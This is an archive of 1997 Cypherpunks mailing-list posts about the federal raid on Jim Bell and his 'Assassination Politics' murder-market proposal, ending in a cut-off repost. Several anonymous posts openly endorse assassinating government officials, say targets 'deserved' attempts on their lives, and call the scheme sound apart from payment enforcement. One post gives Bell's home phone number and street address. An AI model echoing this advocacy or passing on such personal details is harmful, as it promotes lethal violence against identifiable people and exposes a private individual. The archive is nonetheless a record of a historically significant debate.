lead to the theft of Indian land, and the French revolution the murder of 
about quarter of a million people they cannot be said to be entirely
laudatory events. The national myths of the countries concerned 
nothwithstanding.

People are not fit judges of their own cause. The civil war was started
by the South who believed that the North might infringe their "right"
to own others as property.

> Note that I've never called for a witch hunt, nor have I called for his
> posts to be censored out of the list. I chose a long time ago to filter
> Jim's stuff into my appropriate folder for such stuff, and occasionally
> took him out of the filter when he seemed (from occasional checks on what I
> was filtering), to be discussing things other than his "Klaatu Narada
> Nictoo" (or whatever) Final Solution.

Same for me. I objected to Bell's AP proposal but not to his _right_
to post it. It was the tedious length at which he bored the rest of us
with it that I objected to.

Last I heard the Feds were concerned that he might have been putting 
AP into effect. Collecting the names and addresses of IRS officials,
setting up a kangeroo court to try them, sending them demands, those
sound like actions Bell would have serious difficulty in doing without
giving someone reasonable cause to believe they were being targetted
for murder.

	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Fri, 4 Apr 1997 17:20:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats (fwd)
Message-ID: <199704050125.TAA11786@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 4 Apr 1997 16:36:54 -0800
> From: "Timothy C. May" <tcmay@got.net>
> Subject: Re: Feds reading this list, Jim Bell, and threats

> of people through AP--I don't find it at all surprising that an
> investigation, involving search warrants, happened.
> 
> Whether he gets charged, let alone convicted, and his conviction is upheld,
> is a different set of issues.

I have a problem with this process, it denies due process to the accussed.
This should be the issue of concern with Jim Bell, mainly the fact that his
property was taken on a warrant issued on oath of probable cause. If you
have enough evidence ("I think he is dangerous judge" is not evidence except
to a fool) to produce a search warrant then you should have to explain the
results of that warrant to a judge and that means the accussed has a right
to be there and have a say.

Since his property was taken for public use, protection of public officials,
then those agencies should pay him for the property and the relative worth
of the work on it OR do what Constitutionaly is correct. This is mainly at
the point of delivering the search warrant a notice of appearance before a
court should be presented to answer those charges. He has a right to face
his accusers FROM THE VERY BEGINNING OF THE CASE as well as legal council by
public appointment if required. Under the current conditions Jim Bell is
being forced to testify against himself (some argue that this is not so, if
that is true why then are we 'secure in our property and papers'?) and has
been denied the right to legal council, as well as facing his accusers in a
court.

If this sort of check and balance is not in place then we get law
enforcement confiscating property without charges being filed and hence no
legal issues for the accussed to defend. This could be used to shutdown a
newspaper (for example) because of articles that it printed. It nearly put
Steve Jackson out of business.

This is what you should be pissed off about. Jim Bell, as we all do, carry
our own crosses. The issue is not whether Jim Bell committed a crime but
rather did the law enforcement agencies follow the Constitution they swore
to uphold.

Let's see, I believe the courts say that a 72 hour stay in jail without
charges being filed is the limit for habeas corpus. How about the accussed
has to appear before the judge along with the police within 72 hours. At
that point charges could be filed, charges dropped, payment for property, or
return of property could be handled. If the defendant doesn't appear then a
bench warrant can be issued on the premise that an attempt to flea is in
process. If the police don't show or can't produce a good enough argument
the charges get dropped and property returned along with reimbursment for
any damages to the property or losses incurred by its confiscation (the money
should come from the polic budget). If the police refuse to act then a Writ
of Habeas Corpus could be issues demanding the return of the property to the
possession of the court or face criminal action.

Police in a democracy should be conservative in action.

Bet you EFF don't do this one for free. "Oh my god, an ex-drug dealer..."
instead of "Oh my god, a poor game publisher...".

Fucking hypocrites.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 4 Apr 1997 19:33:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <199704050332.TAA14134@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> 
> At 6:05 PM -0500 4/4/97, Mark M. wrote:
> 
> >  I don't know any anarchists who oppose
>                                     ^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >contract law or argue that anyone has this right.  The cryptography employee
>               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> >who releases trade secrets or sabotages products is violating the company's
> >property rights; whether it is moral or not is irrelevant.  Again, I don't
> >think you will find any anarchists who would dispute this.
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ *
  {* TCM's emphasis}
> 
> Count me as one who thinks things are not this easy. Ultimately, all
> decisions to obey or ignore or sabotage contractual relationships is a
> personal one.

  I agree. Obviously Mark doesn't know enough anarchists.
  Pardon me for beating my Hitler analogies to death, but when 
Hitler was Fuhrer, the trains ran on time. I have no problem 
with those who supported him for this reason. However, as his
administrative policies began to increasingly infringe on the
lives of others, it was up to each participant in his ruling
party to decide for themselves what was an acceptable level
of power/control over the citizens, and what was not.
  My own rule of thumb is to consider whether I would consider
laws or regulations affecting the behavior and rights of 
others to be an infringement if they were applied to my own
behavior and rights.

> This issue has come up before. One name for the debate is "lifeboat
> ethics." Suppose Alice has a contract not to trespass against the property
> of others in the marina she belongs to. One night she falls off her boat as
> she's leaving the marina. She can either _honor_ her contract, and drown.
> Or she can grab onto Bob's boat and pull herself to safety, even though
> she's just without any doubt vioated her contract.
> 
> As I mentioned a few days ago, there are _some_ anarchists, notably Murray
> Rothbard, who argued that Alice must choose death over violation of a
> contract. Most anarchists I know think him crazy.

  I fully support Rothbard's right to choose death, but do not 
consider him as having any say in Alice's decision.
 
> >Cryptography professionals have the *ability* to follow their consciences,
> >but that does not excuse them from punishment resulting in infringing on
> >their employer's rights or violating the terms of their employment.
> 
> I've never argued that those who get caught breaking a contract shouldn't
> face the consequences--providing others in the society honor the contract!

  This begs the question of who is to decide whether or not 
society is honoring their part of the contract.
  Arguing that society/civilization is doing a fairly decent job
"for the most part" does not negate the fact that if an individual
is taking it up the ass, he or she will not be inclined to take it
sitting down.
  Native Americans are the prime example of a group who were 
subjected to severe penalties for failing to "honor the contract"
while their oppressors felt free to dishonor the contract at
will by virtue of superior firepower.

  Individuals have the freedom to sabatoge systems which they
see as injust and oppressive. To suggest that the average person
will abuse that right, and thus has no conscience, is to suggest
that the average person has less right than corporations to decide
what is right and wrong.
  It is my own belief that fears surrounding employees making 
morally based decisions of this nature are a result of the
knowledge that many corporate entities fall short of meeting
even rudimentary standards of moral values.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Fri, 4 Apr 1997 17:49:15 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: Re: Jim Bell raid
In-Reply-To: <1.5.4.32.19970405010511.006f39f4@pop.pipeline.com>
Message-ID: <3345AFD0.7E67@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


John Young, checking his sources, as usual wrote:
> 
> I asked Jim last night if he wanted any of the documents associated
> with the raid published and he said not yet:

> That the feds had set it all in motion with lurid affidavits, with press
> invitation, with paraded troops and battle armaments to fit the show
> and tell tinhorn war gamers seeking more funding -- tax time at hand.
> 
> He seems bemused that his script was followed so dutifully for Act 1.
> And awaits the next acts, instigated not only by his taunts but by
> the national campaign to divert attention from TLA/LEA snafus.

  When I was running a nude club in Bell County, Texas, the local
paper carried a small item about how the Sheriff would soon 
announce his bid for re-election.
  The next day, the constabulary raided my club, complete with
press, camera crews, etc.
  The following day, beneath the press report on the raid, was
another press report detailing the Sheriff's announcement of
his bid for re-election.

  I eventually left Bell County, but David Koresh moved in to fill
the void, apparently so that elected law enforcement officials
would not lack for bodies to lay on the scales of electoral justice.

> Jim's telephone number: 1-360-686-3911
 
> For a reality check compare Jim  to the world's presidents, parliaments,
> high-tech industrialists, spies and media infowar gamers trying valiantly
> to alarm the Disney-narcotized citizenry.

  Chasing the Disney Dragon is one way to become comfortably numb.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 4 Apr 1997 19:00:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
In-Reply-To: <01BC412D.6B3C02C0@crecy.ai.mit.edu>
Message-ID: <HXXN5D60w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Phillip M. Hallam-Baker" <hallam@ai.mit.edu> writes:
<some bullshit>
> People are not fit judges of their own cause. The civil war was started
> by the South who believed that the North might infringe their "right"
> to own others as property.

This is a lie.  The South was looking for a peaceful secession and bent
over backwards to avoid the war, which was started by the North.

<more bullshit>

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 4 Apr 1997 20:01:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Feds reading this list, Jim Bell, and threats
Message-ID: <v02140b05af6b7e0fa243@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>  Pardon me for beating my Hitler analogies to death, but when
>Hitler was Fuhrer, the trains ran on time. I have no problem
>with those who supported him for this reason. However, as his
>administrative policies began to increasingly infringe on the
>lives of others, it was up to each participant in his ruling
>party to decide for themselves what was an acceptable level
>of power/control over the citizens, and what was not.

Unfortunately, by the time he really impacted personal liberties it was too
late, as his power was consolidated and the citizenery disarmed (1935).

--Steve

>> I've never argued that those who get caught breaking a contract shouldn't
>> face the consequences--providing others in the society honor the contract!
>
>  This begs the question of who is to decide whether or not
>society is honoring their part of the contract.
>  Arguing that society/civilization is doing a fairly decent job
>"for the most part" does not negate the fact that if an individual
>is taking it up the ass, he or she will not be inclined to take it
>sitting down.

Yes, much better to hang from the ceiling.

>  Native Americans are the prime example of a group who were
>subjected to severe penalties for failing to "honor the contract"
>while their oppressors felt free to dishonor the contract at
>will by virtue of superior firepower.

Hopefully, what goes around comes around.

>
>  Individuals have the freedom to sabatoge systems which they
>see as injust and oppressive. To suggest that the average person
>will abuse that right, and thus has no conscience, is to suggest
>that the average person has less right than corporations to decide
>what is right and wrong.
>  It is my own belief that fears surrounding employees making
>morally based decisions of this nature are a result of the
>knowledge that many corporate entities fall short of meeting
>even rudimentary standards of moral values.

"I don't want to rock the boat... I want to sink it."  Putney Swoope

>
>TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 17:13:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Jim Bell raid
Message-ID: <1.5.4.32.19970405010511.006f39f4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


I asked Jim last night if he wanted any of the documents associated
with the raid published and he said not yet:

That the local papers were publishing selected parts to inflame reader 
lust. 

That the feds had set it all in motion with lurid affidavits, with press
invitation, with paraded troops and battle armaments to fit the show
and tell tinhorn war gamers seeking more funding -- tax time at hand.

He seems bemused that his script was followed so dutifully for Act 1. 
And awaits the next acts, instigated not only by his taunts but by
the national campaign to divert attention from TLA/LEA snafus.

In this spirit, for a truly homicidal, bloodstirring script read the National 
Defense Authorization Act for 1998: 

   http://jya.com/nda98.txt

Now that's Assassination Politics to feed the lust of the best and brightest
of all nations, if not that of a few of the overmuch AP protestors here.

Jim's telephone number: 1-360-686-3911

For a reality check compare Jim  to the world's presidents, parliaments, 
high-tech industrialists, spies and media infowar gamers trying valiantly 
to alarm the Disney-narcotized citizenry.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 17:46:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bell's Phone Number
Message-ID: <1.5.4.32.19970405013753.00875e58@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Correction for Jim Bell's telephone number:

1-360-696-3911

It's available via Information, assisted by the original
story:

"James D. Bell, who reportedly lives with his elderly
parents at the home at 7214 Corregidor Road
Vancouver, WA."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 17:58:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: NDA98 URL
Message-ID: <1.5.4.32.19970405015039.006f46b0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The correct URL for the National Defense Authorization for 
FY1998 is:

   http://jya.com/nda98.htm  (176K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 4 Apr 1997 19:55:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: From the "pissing up a rope" file...
Message-ID: <v0302093eaf6b6d83b633@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Priority: normal
Date:         Fri, 4 Apr 1997 13:36:05 MET
Reply-To:     Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
Sender:       Law & Policy of Computer Communications
              <CYBERIA-L@LISTSERV.AOL.COM>
From:         Stephan Bleisteiner <SBLEISTEINER@JURA.UNI-WUERZBURG.DE>
Organization: Uni Wuerzburg - Jur. Fak.
Subject:      NBC Europe Question of the week
Comments: To: FIGHT-CENSORSHIP@vorlon.mit.edu
To:           CYBERIA-L@LISTSERV.AOL.COM

I thought some people on the list might feel very strongly about this
issue and would like to cast their vote.

The NBC Interactive Question of the Week:

Should there be one international group that governs and controls web
content?

YES
NO

To cast your vote go to http://www.nbceurope.com

Stephan

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 4 Apr 1997 19:19:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Prior Restraint
Message-ID: <1.5.4.32.19970405031124.006dba84@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


As noted here on April 2, we've put on our Web site several of
the docs of the Peter Junger suit against the Secretary of State:

   http://jya.com/pdj.htm

One gives parts of Peter's article "Computers and the Law" which 
includes machine-readable code, code which is prohibited by the 
EAR from being placed on the Internet without a license (it is this 
"prior restraint" that Peter is challenging):

   http://jya.com/pdj003b.htm

When Peter saw that I had put the article and code on my site,
he telephoned immediately to say that the article should not have 
been sent to me along with the other material. He asked that it be 
removed because electronic publication could harm his case and
put me at risk of prosecution.

After discussion I declined to remove it, and thanked him for his 
advice.

Yesterday, Richard Vasvari, one of Peter's three attorneys, called
to politely ask that I remove the doc. And further explained how its 
electronic publication could harm the case and put me at risk. 

He said that he had notified Anthony Coppolino, DoJ, that the document 
was on the Web, as he was obliged to do by procedural rules. That 
they had discussed the ramifications. He did not say what DoJ intended
to do.

And, that he was obliged as an attorney to advise me to retain an attorney
for my defense against prosecution for placing the doc on the Web.

During this discussion with Mr. Vasvari I checked the access log for the 
prohibited doc and saw that DoJ had accessed it as well as several other 
files on me and my org.

I told Mr. Vasvari this and he again advised me to remove the doc. Again,
I declined.

After chewing on this restraint of my publication by the attorneys, I 
decided to delete only the machine-readable code from Peter's article, 
leaving the  text which explains why the electronic publication of the code 
is the crux of Peter's First Amendment case. On the assumption that his 
prior restraint claim is more important than mine.

Take at look and let me know what you think. Should I have deleted the
code or left it in the public domain where it belongs? Am I right to comply
with the attorneys' first claim on prior restraint?

Meanwhile, anyone worldwide who want the article with the code intact, 
send me an email for instructions on how to get it.

Use the subject: Restraint






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Fri, 4 Apr 1997 23:07:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Assassination Politics (corrected repost)
Message-ID: <199704050703.XAA18722@swan>
MIME-Version: 1.0
Content-Type: text/plain



Explanation: I am reposting this because my original post seems to
             have been inadvertantly(?) mutilated after the fact.


On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:

>Timothy C. May wrote:
>>
>> Political advocacy is one thing, but making threats, even veiled ones, is
>> another matter.
>
>Absolutely, that is why I was keen for people to oppose Bell's views.
>If his ramblings had gone unchallenged he would now be being
>presented as a representative of Cypherpunk/ pro-crypto views.

  Likewise, we wouldn't want your ramblings to go unchallenged, as you
might be presented as a representative of Cypherpunk/pro-crypto views.

>Besides anything else Bell was like the party bore with a
>hobby horse he just has to talk about. I'm somewhat more
>sensitive than most to advocates of murdering government
>officials, some of my relatives are in government and have
>had well publicised assassination attempts against them.

  Maybe they deserved them.  Making politics more risky may have the
benificial effect of thinning out the ranks of politicians to truely
dedicated ones, instead of the fat parasitic beurocrats we have now.

>I think that Bell's posts were entirely different from Tim's or
>for that matter almost every other person on the list. Tim
>demonstrated that a covert information sales organisation was
>possible with Blacknet but he never advocated setting it up.
>Indeed part of the point was the ethical responsibilities. Bell
>on the other hand was likely to respond to any post with his
>AP piece. I have throughout considered these to be incitement to
>murder.

  Given certain political views contrary to your own, the government
not only incites but commits murder daily, on a much greater scale.
Is it so wrong try to put an end to this by a little strategic
assassination?

>paul@fatmans.demon.co.uk wrote:
>
>> Not at all, Jim advocates the use of necessary force against an
>> initiator of violence, as you would see if you have read Jims AP
>> overview essay he does not advocate the use of AP to kill innocent
>> people, indeed he does not intend it to kill anyone at all, Rather to
>> act as a deterrent to government which would violate the NAP.
>
>Who decides what "innocent" was?

  Certainly not the government.

>In Jim's world it was very clear that he decided who was innocent,
>he decided what his rights were, he decided who he could murder.
>
>He limited the justifiable targets of AP to be those he thought should
>be targets. His argument with the IRS appears to have included the
>claim that they infringed his rights which under Bell's manifesto
>gives him the right to murder them.

  You're completely off the mark.  Have you read his essay at -
http://www.prairienet.org/bureau42/public/apfull.txt

  He cited government officials involved in Waco, Ruby Ridge, and the IRS
as examples.  But, he clearly stated that:
    
 "It would be impossible, for example, to set up some sort of
  "Assassination Politics Dictator," who decides who will live and who will
  die, because competition in the system will always rise to supply every
  demand, albeit at possibly a very high price.  And if you believe the maxim
  that "absolute power corrupts absolutely," you wouldn't want to accept any
  form of centralized control (even, perhaps, that of your own!), because any
  such control would eventually be corrupted.  Most rational people recognize
  this, and I do too.  I would not have invented a system where "Jim
  Bell" gets to make "all the decisions."  Quite the contrary, the system I've
  described absolutely prevents such centralization.  That, quite frankly, is
  the novelty and dare I say it, the beauty of this idea.  I believe that it
  simply cannot be hijacked by centralized political control.

  As I pointed out in the essay, if _I_ were running one of the organizations
  accepting those donations and offering those prizes, I would selectively
  list only those targets who I am genuinely satisfied are guilty of the
  violation of the "non-agression principle."  But as a practical matter,
  there is no way that I could stop a DIFFERENT organization from being set up
  and operating under DIFFERENT moral and ethical principles, especially if it operated
  anonymously, as I antipate the "Assassination Politics"-type  systems will
  be.   Thus, I'm forced to accept the reality that I can't dictate a
  "strongly limited" system that would "guarantee" no "unjustified" deaths:  I
  can merely control my little piece of the earth and not assist in the abuse
  of others."

>> Also, an inevitable consequence of anonymity and untraceable ecash is
>> that assasination pools will become a feature of the political
>> landscape.
>
>No, it is not. If it were then Digital cash would never be possible.
>Society simply would not allow it and they would be right not to
>do so.
>
>It is because Bell's scheme is entirely preposterous that Digital
>cash is possible. There is simply no way an AP contract could be
>enforced. The betting pool is simply one of a long line of failed
>attempts to prop up the scheme.

  If this is so impossible, then why do you later claim that:
"I have plenty to worry about, Bells plan would lead to murder of
innocent people."?

  You do have a point, though.  The actual payment would be hard to
enforce.  This is just a technical difficulty that can be overcome with
dedicated effort.  The idea is sound in all other ways.

>No country could allow such a betting pool to operate from its soil,
>nor any other such cover. If an IRS agent was murdered as a result
>of a contract placed in an Anguilla betting pool the marines would
>be landing the next week. No country that is small enough not to be
>threatened by AP has the necessary millitary strength to resist
>invasion. The benmefits of hosting the AP pool are marginal if any
>therefore no country would ever host it.

  Ever heard of "virtual corporations"?  They may exist without heed
to national borders.  The technical means also exist for complete
anonymity on the internet, so that even the location of servers
may be concealed (via. Onion Routers, and their ilk).  Besides,
all interaction with the corporation could be conducted through
email, for which a rather high degree of anonymity exists already.

>>Of course there is nothing to stop someone betting that an
>> innocent person should be killed, this is a great problem in the
>> scheme, but if this did occur the friends and family of the victim
>> would normally have a pretty good idea who placed the bet and could
>> place a bet on their imminent death...
>
>There is everythingt to stop bets being placed period.

  This is debatable, as much as you fasion yourself the arbiter of
what is possible.

>Of course the main use of AP would be to murder familly members,
>business rivals etc. AP is simply an unrestrained murder machine
>with absolutely no safeguards.

  Assassination transactions against anyone can be carried out
anonymously right as we speak.  There are absolutely no safeguards 
against that.  However, AP is different.

  AP calls for a large pool of money donated in generally small ammounts 
by large numbers of individuals.  The incentive for killing officials 
who garner retribution from whole populations would be much greater 
than that of some random individual.

>> Besides which you seem not to have read and understood AP as you have
>> ignored Jims comments about the problems of innocent people being
>> killed.
>
>This "not understood" conciet is bogus. I have read and fully
>understood Bell's article. It is in my view an incitement to murder.
>
>I have degrees in Nuclear Physics, Electronic Engineering, I have
>been offered a contract for my book on the philosophy of
>communication. If Bell can't communicate his idea to me then that is
>his fault, his responsibility. I am arguing against the plan
>he describes. Do not try the patronising "you are not clever enough
>to understand this" line. In this case it is bluster.

  H.L.Machen perceptively noted, "It is a common fallacy of our time 
that a moron run through a university and decorated with a PHD will 
thereby cease to be a moron."  So save your credentials for
the tabloids.

>> Question: Would you say the assassination of a statist who had badly
>> violated the NAP (eg. A district attorney involved in prosecutions
>> for drug dealing) was a crime?
>
>Absolutely for the simple reason that mob rule, lynch law is always
>criminal. If there is no due process there is no justice.

  Ah, I see that you are in agreement with some of the framers of our
great constitution in rejecting Direct Democracy, in favor of
one or another flavor of elitism (Representative Democracy, lets say).
Not that it's necessarily so bad, mind you, but at least you're showing
your true colors.

>Under AP rules the state has a perfect right to execute Bell. Bell
>clearly intends the murder of government personel, therefore under
>AP rules the government has the "right" to protect itself with AP
>if it choses. If it decides on a less arbitrary sanction then
>under AP principles that is a concession it is not required to make.

  The state has no rights.  It is not a living individual.  Only humans,
and arguably animals, have rights.

>AP eliminates process and with it proof. There are no steps proposed
>by which an AP initiator should deterine whether his rights have indeed
>been infringed.

  You're right.  It is not the American Way of justice.  However,
that way is not itself above suspicion.  The reliability of witnesses
is suspect, even when they are sincere in trying to recall events.
The judges are not above corruption, especially as they are in positions
of power and power corrupts.  Finally, the jury is not without its
biases, even when its not also paid off, as can be seen from the
controversial results of well publicised cases involving Rodney King
and O.J.Simpson.

>Therefore an instigator is not acting upon actual
>infringement of rights, merely suspected infringment.

  This may or may not be true.  Some donations to AP organisations may
have no basis in fact whatsoever.  The public is verry malleable, I'll
grant you.  However, others, such as large scale repression, will
have very real basis in fact.  Imagine the will of the Black people
being harnessed through AP organizations during American Slavery.

>The state employees suspect Bell plots infringement of his rights. 
>Therefore under Bell's own theory they have the right to respond by 
>infringing his rights, without trial.

  Of course.  However, the state employees are few.  The subjects,
or "beneficiaries" of the state are many.

>AP does not contain a coherent normative ethical theory.

  Of course it does, I don't think you've read closely enough.  Perhaps
you should stick to Nuclear Physics and Electrical Engineering.
Scientists are notorious for not "getting" ethics, or completely
ignoring them in wanting to stick to "pure" science.

>> WRONG... The LEAs were the initiators of force and violators of the
>> NAP, Jim Bell, were he to kill a member of the IRS, would not be
>> commiting any crime, rather defending himself from a violation of his
>> rights.
>
>He would empirically be guilty of a crime. The courts would consider
>it murder and sentence him accordingly.

  Obviously, Paul is speaking of crime from Jim Bell's "ethical theory"
perspective.  Phil discounts the existence of that perspective, and 
answers from a "real world" perspective, completely missing Paul's point.

>You may not consider him ethically to be guitly of something wrong.
>I would disagree in that case. The LEAs have the right to initiate force
>in accordance with the directions of a court order. They are pre-emtively
>protecting their personal right to defend themselves and on behalf of
>society pre-emptively protecting it.

  The state is self-perpetuating.  Threats to the well being of members
of it are taken seriously, that's no surprise.  It would be surprising
for the subjects of this state to wake up and pre-emtively protect
themselves from the state.

>> If I may make an analogy you are saying that were I to be attacked in
>> the street, and I pulled a gun on the attacker he has a "moral" right
>> to kill me to protect himself?
>
>He could well have that legal right in certain circumstances.

  You didn't answer his question.

>> > However, I also think that there is a possibility that his statements,
>> > either on cypherpunks or elsewhere, may have gone over the line in
>> > terms of threatening behavior.  It may be a moral weakness on my part,
>> > but I am not too inclined to defend someone who advocates shooting me.
>>
>> Then you are of weak character and a closet statist.
>
>Good, now we have discovered that names like statist, liberal etc
>are not insults even if bellowed by idiots at the top of their
>lungs we can return to sanity.

  Ah, sanity.  The Crusades seemed sane to the Christians.
The Holocaust to the Nazis.  Communism to the Russians.  And now,
a police state to the Americans.

>I will not only refuse to support Bell, I'll testify against him in
>court if asked.

You're such a good patriot.

>I don't believe that people are fit judges of their own cause as Bell 
>and you do.

  More elitism!  Well, we're all lucky we have you, the agents at Waco and
Ruby Ridge, and the IRS to protect us.  Perhaps you'll do us all a favor
and judge yourself superfluous and even harmful to "the people's cause"
and put a contract on yourselves in an AP organization, when they come
to be.  I thought not.  All we'll see are attempts are self perpetuation.

>> Otherwise you have no more to worry about than you do now, AP simply
>> allows people perfect (as near as possible) anonymity, You can have
>> someone assasinated now without betting pools....
>
>I have plenty to worry about, Bells plan would lead to murder of
>innocent people.

  Again, what do you have to worry about if, as you say, "Bell's scheme 
is entirely preposterous"?


   -=- A concerned citizen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Fri, 4 Apr 1997 21:03:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Assassination Politics (was Re: Feds reading this list, Jim Bell, and threats)
Message-ID: <199704050502.VAA06922@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 4 Apr 1997, Phillip M. Hallam-Baker wrote:

>Timothy C. May wrote:
>>
>> Political advocacy is one thing, but making threats, even veiled ones, is
>> another matter.
>
>Absolutely, that is why I was keen for people to oppose Bell's views.
>If his ramblings had gone unchallenged he would now be being
>presented as a representative of Cypherpunk/ pro-crypto views.

  Likewise, we wouldn't want your ramblings to go unchallenged, as you
might be presented as a representative of Cypherpunk/pro-crypto views.

>Besides anything else Bell was like the party bore with a
>hobby horse he just has to talk about. I'm somewhat more
>sensitive than most to advocates of murdering government
>officials, some of my relatives are in government and have
>had well publicised assassination attempts against them.

  Maybe they deserved them.  Making politics more risky may have the
benificial effect of thinning out the ranks of politicians to truely
dedicated ones, instead of the fat parasitic beurocrats we have now.

>I think that Bell's posts were entirely different from Tim's or
>for that matter almost every other person on the list. Tim
>demonstrated that a covert information sales organisation was
>possible with Blacknet but he never advocated setting it up.
>Indeed part of the point was the ethical responsibilities. Bell
>on the other hand was likely to respond to any post with his
>AP piece. I have throughout considered these to be incitement to
>murder.

  Given certain political views contrary to your own, the government
not only incites but commits murder daily, on a much greater scale.
Is it so wrong try to put an end to this by a little strategic
assassination?

>paul@fatmans.demon.co.uk wrote:
>
>> Not at all, Jim advocates the use of necessary force against an
>> initiator of violence, as you would see if you have read Jims AP
>> overview essay he does not advocate the use of AP to kill innocent
>> people, indeed he does not intend it to kill anyone at all, Rather to
>> act as a deterrent to government which would violate the NAP.
>
>Who decides what "innocent" was?

  Certainly not the government.

>In Jim's world it was very clear that he decided who was innocent,
>he decided what his rights were, he decided who he could murder.
>
>He limited the justifiable targets of AP to be those he thought should
>be targets. His argument with the IRS appears to have included the
>claim that they infringed his rights which under Bell's manifesto
>gives him the right to murder them.

  You're completely off the mark.  Have you read his essay at -
http://www.prairienet.org/bureau42/public/apfull.txt

  He cited government officials involved in Waco, Ruby Ridge, and the IRS
as examples.  But, he clearly stated that:
    
 "It would be impossible, for example, to set up some sort of
  "Assassination Politics Dictator," who decides who will live and who will
  die, because competition in the system will always rise to supply every
  demand, albeit at possibly a very high price.  And if you believe the maxim
  that "absolute power corrupts absolutely," you wouldn't want to accept any
  form of centralized control (even, perhaps, that of your own!), because any
  such control would eventually be corrupted.  Most rational people recognize
  this, and I do too.  I would not have invented a system where "Jim
  Bell" gets to make "all the decisions."  Quite the contrary, the system I've
  described absolutely prevents such centralization.  That, quite frankly, is
  the novelty and dare I say it, the beauty of this idea.  I believe that it
  simply cannot be hijacked by centralized political control.

  As I pointed out in the essay, if _I_ were running one of the organizations
  accepting those donations and offering those prizes, I would selectively
  list only those targets who I am genuinely satisfied are guilty of the
  violation of the "non-agression principle."  But as a practical matter,
  there is no way that I could stop a DIFFERENT organization from being set up
  and operating under DIFFERENT moral and ethical principles, especially if it operated
  anonymously, as I antipate the "Assassination Politics"-type  systems will
  be.   Thus, I'm forced to accept the reality that I can't dictate a
  "strongly limited" system that would "guarantee" no "unjustified" deaths:  I
  can merely control my little piece of the earth and not assist in the abuse
  of others."

>> Also, an inevitable consequence of anonymity and untraceable ecash is
>> that assasination pools will become a feature of the political
>> landscape.
>
>No, it is not. If it were then Digital cash would never be possible.
>Society simply would not allow it and they would be right not to
>do so.
>
>It is because Bell's scheme is entirely preposterous that Digital
>cash is possible. There is simply no way an AP contract could be
>enforced. The betting pool is simply one of a long line of failed
>attempts to prop up the scheme.

  If this is so impossible, then why do you later claim that:
"I have plenty to worry about, Bells plan would lead to murder of
innocent people."?

  You do have a point, though.  The actual payment would be hard to
enforce.  This is just a technical difficulty that can be overcome with
dedicated effort.  The idea is sound in all other ways.

>No country could allow such a betting pool to operate from its soil,
>nor any other such cover. If an IRS agent was murdered as a result
>of a contract placed in an Anguilla betting pool the marines would
>be landing the next week. No country that is small enough not to be
